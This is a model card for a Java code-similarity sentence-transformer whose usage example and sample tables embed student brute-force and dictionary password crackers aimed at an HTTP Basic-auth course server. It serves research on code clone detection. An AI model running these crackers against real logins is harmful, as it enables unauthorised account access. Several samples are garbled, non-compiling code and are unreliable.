\ = (int) Math.pow(lettersLen, a);\n passwords += temp1;\n if\
\ (a==2) {\n twoChar = temp1; \n }\n }\n\n System.out.println(\"\
Brute Attack \" + host + \" has commenced.\");\n System.out.println(\"Number\
\ of possible password combinations: \" + passwords);\n\n\n int i=1; \n\n\
\ {\n try {\n \n URL url = new URL(host);\n\
\ HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();\n\
\n \n if(realm != null) {\n\n \n \
\ if ( i < lettersLen) {\n \n\n password\
\ = letters.substring(i, (i+1));\n\n } else if (i < (lettersLen\
\ + twoChar)) {\n \n\n \n \
\ temp1 = i / lettersLen;\n password = letters.substring((-1),\
\ start );\n\n \n temp1 = i - ( temp1 * lettersLen);\n\
\ password = password + letters.substring(temp1, (+1));\n\n\
\ } else {\n \n\n \n \
\ temp2 = i / lettersLen;\n temp1 = i - (temp2 *\
\ lettersLen);\n password = letters.substring(temp1, (+1));\n\
\n \n temp3 = temp2; \n \
\ temp2 = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n\
\ password = letters.substring(temp1, (+1)) + password;\n\n\
\ \n temp3 = temp2; \n temp2\
\ = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n\
\ password = letters.substring(temp1, (+1)) + password;\n\n\
\ } \n\n \n \n authenticate\
\ = username + \":\" + password;\n authenticate = new String(base.encode(authenticate.getBytes()));\n\
\ httpConnect.addRequestProperty(\"Authorization\", \" \" + authenticate);\n\
\n } \n\n \n httpConnect.connect();\n\n \
\ \n realm = httpConnect.getHeaderField(\"WWW-Authenticate\"\
);\n if (realm != null) {\n realm = realm.substring(realm.indexOf('\"\
') + 1);\n realm = realm.substring(0, realm.indexOf('\"'));\n \
\ }\n\n hostname = url.getHost();\n\n \n \
\ responseCode = httpConnect.getResponseCode();\n responseMsg\
\ = httpConnect.getResponseMessage();\n\n \n \n \
\ \n \n \n\n \n \n if\
\ (responseCode == 200) {\n \n end = System.currentTimeMillis();\n\
\ total = (end - start) / 1000; \n\n System.out.println\
\ (\"Sucessfully Connected \" + url);\n System.out.println(\"Login\
\ Attempts Required : \" + (i-1));\n System.out.println(\"Time Taken\
\ in Seconds : \" + total);\n System.out.println (\"Connection Status\
\ : \" + responseCode + \" \" + responseMsg);\n System.out.println\
\ (\"Username : \" + username);\n System.out.println (\"Password\
\ : \" + password);\n System.exit( 0 );\n } else if (responseCode\
\ == 401 && realm != null) {\n \n \n \
\ \n if (i > 1) {\n\n }\n } else {\n \
\ \n \n System.out.println (\"What the?...\
\ The server replied with unexpected reponse.\" );\n System.out.println\
\ (\" Unexpected Error Occured While Attempting Connect \" + url);\n \
\ System.out.println (\"Connection Status: \" + responseCode + responseMsg);\n\
\ System.out.println (\"Unfortunately the password could not recovered.\"\
);\n System.exit( 0 );\n }\n\n i++;\n\n \
\ } catch(MalformedURLException e) {\n System.out.println(\"Opps,\
\ the URL \" + host + \" is not valid.\");\n System.out.println(\"Please\
\ check the URL and try again.\");\n } catch(IOException e) {\n \
\ System.out.println(\", 't connect \" + host + \".\");\n System.out.println(\"\
Please check the URL and try again.\");\n System.out.println(\"Other\
\ possible causes include website is currently unavailable\");\n System.out.println(\"\
\ have internet connection problem.\");\n } \n\n } while(realm !=\
\ null); \n\n\n }\n}"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
metrics:
- cosine_accuracy
- cosine_accuracy_threshold
- cosine_f1
- cosine_f1_threshold
- cosine_precision
- cosine_recall
- cosine_ap
- cosine_mcc
model-index:
- name: SentenceTransformer based on huggingface/CodeBERTa-small-v1
results:
- task:
type: binary-classification
name: Binary Classification
dataset:
name: binary classification evaluator
type: binary-classification-evaluator
metrics:
- type: cosine_accuracy
value: 0.999534450651769
name: Cosine Accuracy
- type: cosine_accuracy_threshold
value: 0.8751956224441528
name: Cosine Accuracy Threshold
- type: cosine_f1
value: 0.9995346672871103
name: Cosine F1
- type: cosine_f1_threshold
value: 0.8751956224441528
name: Cosine F1 Threshold
- type: cosine_precision
value: 0.9990697674418605
name: Cosine Precision
- type: cosine_recall
value: 1.0
name: Cosine Recall
- type: cosine_ap
value: 0.9999512493871627
name: Cosine Ap
- type: cosine_mcc
value: 0.9990693343726054
name: Cosine Mcc
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1")
# Run inference
sentences = [
'\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary\n{\n public Dictionary()\n {}\n\n public boolean fetchURL(String urlString,String username,String password)\n {\n StringWriter sw= new StringWriter();\n PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString); \n String userPwd= username+":"+password;\n\n \n \n \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println("Original String = " + userPwd);\n\t System.out.println("Encoded String = " + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection(); \n huc.setRequestProperty( "Authorization"," "+encodedStr); \n InputStream content = (InputStream)huc.getInputStream();\n BufferedReader in =\n new BufferedReader (new InputStreamReader (content));\n String line;\n while ((line = in.readLine()) != null) {\n pw.println (line);\n System.out.println("");\n System.out.println(sw.toString());\n }return true;\n } catch (MalformedURLException e) {\n pw.println ("Invalid URL");\n return false;\n } catch (IOException e) {\n pw.println ("Error URL");\n return false;\n }\n\n }\n\n public void getPassword()\n {\n String dictionary="words";\n String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";\n String login="";\n String pwd=" ";\n\n try\n {\n BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));\n startTime=System.currentTimeMillis();\n while (pwd!=null)\n {\n pwd=inputStream.readLine();\n if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n System.out.println("Finally I gotta it, password is : "+pwd);\n System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");\n System.exit(1);\n } \n\n }\n inputStream.close();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("Dictionary not found.");\n }\n catch(IOException e)\n {\n System.out.println("Error dictionary");\n }\n }\n\n public static void main(String[] arguments)\n {\n BruteForce bf=new BruteForce();\n bf.getPassword();\n } \n}',
'\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public static void main(String args[]) \n {\n String s = null;\n String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n \n String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");\n \n String password = null;\n int len = 0;\n int num_tries = 0;\n\n len = alphabets.length();\n \n \n for (int i=0; i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n for (int k=0; k<len; k++)\n\t {\n try \n {\n \n password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n \n System.out.print(alphabets.charAt(i)); \n System.out.print(alphabets.charAt(j)); \n System.out.println(alphabets.charAt(k)); \n\n \n Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n \n try\n\t\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0)\n { \n System.out.println("**********PASSWORD IS: " + password);\n\t System.out.println("**********NUMBER OF TRIES: " + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println("exception happened - here\'s what I know: ");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n }\n }\n }\n}\n\n',
'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.*;\n\npublic class BruteForce {\n\n public static void main(String[] args) throws IOException {\n\n \n int start , end, total;\n start = System.currentTimeMillis(); \n\n String username = "";\n String password = null;\n String host = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n \n \n String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n int lettersLen = letters.length(); \n int passwordLen=3; \n\n int passwords=0; \n int twoChar=0; \n\n url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();\n \n\n \n String authenticate = ""; \n String realm = null, domain = null, hostname = null;\n header = null; \n\n \n int responseCode;\n String responseMsg;\n\n \n int temp1=0;\n int temp2=0;\n int temp3=0;\n\n\n \n \n \n for (int a=1; a<=passwordLen; a++) {\n temp1 = (int) Math.pow(lettersLen, a);\n passwords += temp1;\n if (a==2) {\n twoChar = temp1; \n }\n }\n\n System.out.println("Brute Attack " + host + " has commenced.");\n System.out.println("Number of possible password combinations: " + passwords);\n\n\n int i=1; \n\n {\n try {\n \n URL url = new URL(host);\n HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();\n\n \n if(realm != null) {\n\n \n if ( i < lettersLen) {\n \n\n password = letters.substring(i, (i+1));\n\n } else if (i < (lettersLen + twoChar)) {\n \n\n \n temp1 = i / lettersLen;\n password = letters.substring((-1), start );\n\n \n temp1 = i - ( temp1 * lettersLen);\n password = password + letters.substring(temp1, (+1));\n\n } else {\n \n\n \n temp2 = i / lettersLen;\n temp1 = i - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1));\n\n \n temp3 = temp2; \n temp2 = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1)) + password;\n\n \n temp3 = temp2; \n temp2 = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1)) + password;\n\n } \n\n \n \n authenticate = username + ":" + password;\n authenticate = new String(base.encode(authenticate.getBytes()));\n httpConnect.addRequestProperty("Authorization", " " + authenticate);\n\n } \n\n \n httpConnect.connect();\n\n \n realm = httpConnect.getHeaderField("WWW-Authenticate");\n if (realm != null) {\n realm = realm.substring(realm.indexOf(\'"\') + 1);\n realm = realm.substring(0, realm.indexOf(\'"\'));\n }\n\n hostname = url.getHost();\n\n \n responseCode = httpConnect.getResponseCode();\n responseMsg = httpConnect.getResponseMessage();\n\n \n \n \n \n \n\n \n \n if (responseCode == 200) {\n \n end = System.currentTimeMillis();\n total = (end - start) / 1000; \n\n System.out.println ("Sucessfully Connected " + url);\n System.out.println("Login Attempts Required : " + (i-1));\n System.out.println("Time Taken in Seconds : " + total);\n System.out.println ("Connection Status : " + responseCode + " " + responseMsg);\n System.out.println ("Username : " + username);\n System.out.println ("Password : " + password);\n System.exit( 0 );\n } else if (responseCode == 401 && realm != null) {\n \n \n \n if (i > 1) {\n\n }\n } else {\n \n \n System.out.println ("What the?... The server replied with unexpected reponse." );\n System.out.println (" Unexpected Error Occured While Attempting Connect " + url);\n System.out.println ("Connection Status: " + responseCode + responseMsg);\n System.out.println ("Unfortunately the password could not recovered.");\n System.exit( 0 );\n }\n\n i++;\n\n } catch(MalformedURLException e) {\n System.out.println("Opps, the URL " + host + " is not valid.");\n System.out.println("Please check the URL and try again.");\n } catch(IOException e) {\n System.out.println(", \'t connect " + host + ".");\n System.out.println("Please check the URL and try again.");\n System.out.println("Other possible causes include website is currently unavailable");\n System.out.println(" have internet connection problem.");\n } \n\n } while(realm != null); \n\n\n }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.2589, 0.2759],
# [0.2589, 1.0000, 0.2076],
# [0.2759, 0.2076, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
## Evaluation
### Metrics
#### Binary Classification
* Dataset: `binary-classification-evaluator`
* Evaluated with [<code>BinaryClassificationEvaluator</code>](https://sbert.net/docs/package_reference/sentence_transformer/evaluation.html#sentence_transformers.evaluation.BinaryClassificationEvaluator)
| Metric | Value |
|:--------------------------|:--------|
| cosine_accuracy | 0.9995 |
| cosine_accuracy_threshold | 0.8752 |
| cosine_f1 | 0.9995 |
| cosine_f1_threshold | 0.8752 |
| cosine_precision | 0.9991 |
| cosine_recall | 1.0 |
| **cosine_ap** | **1.0** |
| cosine_mcc | 0.9991 |
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### Unnamed Dataset
* Size: 77,328 training samples
* Columns: <code>text_1</code>, <code>text_2</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | text_1 | text_2 | label |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 51 tokens</li><li>mean: 467.45 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.45 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~50.00%</li><li>1: ~50.00%</li></ul> |
* Samples:
| text_1 | text_2 | label |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code>1</code> |
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> | <code>0</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code>1</code> |
* Loss: [<code>ContrastiveLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#contrastiveloss) with these parameters:
```json
{
"distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
"margin": 0.5,
"size_average": true
}
```
### Evaluation Dataset
#### Unnamed Dataset
* Size: 8,592 evaluation samples
* Columns: <code>text_1</code>, <code>text_2</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | text_1 | text_2 | label |
|:--------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 51 tokens</li><li>mean: 469.8 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 461.39 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~50.00%</li><li>1: ~50.00%</li></ul> |
* Samples:
| text_1 | text_2 | label |
|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>1</code> |
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> | <code>0</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code>1</code> |
* Loss: [<code>ContrastiveLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#contrastiveloss) with these parameters:
```json
{
"distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
"margin": 0.5,
"size_average": true
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `eval_strategy`: steps
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `learning_rate`: 2e-05
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: steps
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 2e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
